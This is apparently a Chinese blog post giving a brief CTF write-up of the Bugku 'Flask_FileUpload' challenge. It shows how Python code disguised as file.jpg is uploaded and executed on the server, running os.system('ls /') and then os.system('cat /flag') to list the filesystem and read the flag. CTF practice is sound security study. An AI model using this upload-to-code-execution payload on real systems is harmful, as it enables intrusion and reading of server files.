技术栈

Bugku-web-Flask_FileUpload

黑白时光les2024-08-01 11:52

Bugku-web-Flask_FileUpload

查看源代码,提示用python返回结果

在file.jpg中写python代码

复制代码
import os
os.system('ls / ')

上传后查看源代码,找到flag文件夹

修改代码

复制代码
import os
os.system('cat /flag ')
上一篇:Python面试题:如何使用WebSocket实现实时Web应用
下一篇:单片机之串口通信协议
相关推荐
RSABLOCKCHAIN
2 小时前
AI Agents in LangGraph-2
人工智能·python
WA内核拾荒者
3 小时前
WhatsApp 账号异常检测的自动化告警系统设计
数据库·python·自动化
石小石Orz
3 小时前
我发现了开发者AI产品营收的新方向
前端·虚拟现实
老马识途2.0
3 小时前
关于跨域问题的总结
java·前端
码流怪侠
4 小时前
【GitHub】Bend:让 GPU 并行编程像写 Python 一样简单
python·github
2401_89491553
5 小时前
GEO 搜索优化完整源码从零部署:环境配置、集群搭建全流程
开发语言·python·tcp/ip·算法·unity
别惊醒渔人
5 小时前
Vue3 Diff 优化:最长递增子序列 LIS
前端·javascript·vue.js
颜酱
5 小时前
07 | 把字段与指标同步到 Qdrant(生成阶段)
前端·人工智能·后端
用户05954017446
6 小时前
把AI长期记忆测试从手动验证换成pytest,2天揪出11个隐藏Bug
前端·css
热门推荐
01GitHub 镜像站点02如何新建文件夹? 电脑新建文件夹的4种方法032026年7月AI圈大地震:GPT-5.6被政府限制、Claude入驻Slack、Anthropic自研芯片04国内可直接用、免费额度/永久免费的大模型API清单(含 SiliconFlow、火山、阿里、智谱、百度、Kimi、DeepSeek、DMXAPI 等)05AI科技热点日报 | 2026年07月01日062026 国产 AI 大模型横评:DeepSeek、通义千问、Kimi、文心一言、星火、豆包谁更能打?07AI 编程 IDE 全景解析 2026:Agent 全面接管开发链路08微信历史版本含下载地址( Windows PC | 安卓 | MAC )及设置微信不更新09Agnes AI 免费 API 接入指南:文本、生图、生视频,一套接口全免费10幻兽帕鲁 - 服务器管理员权限与 GM 命令完全指南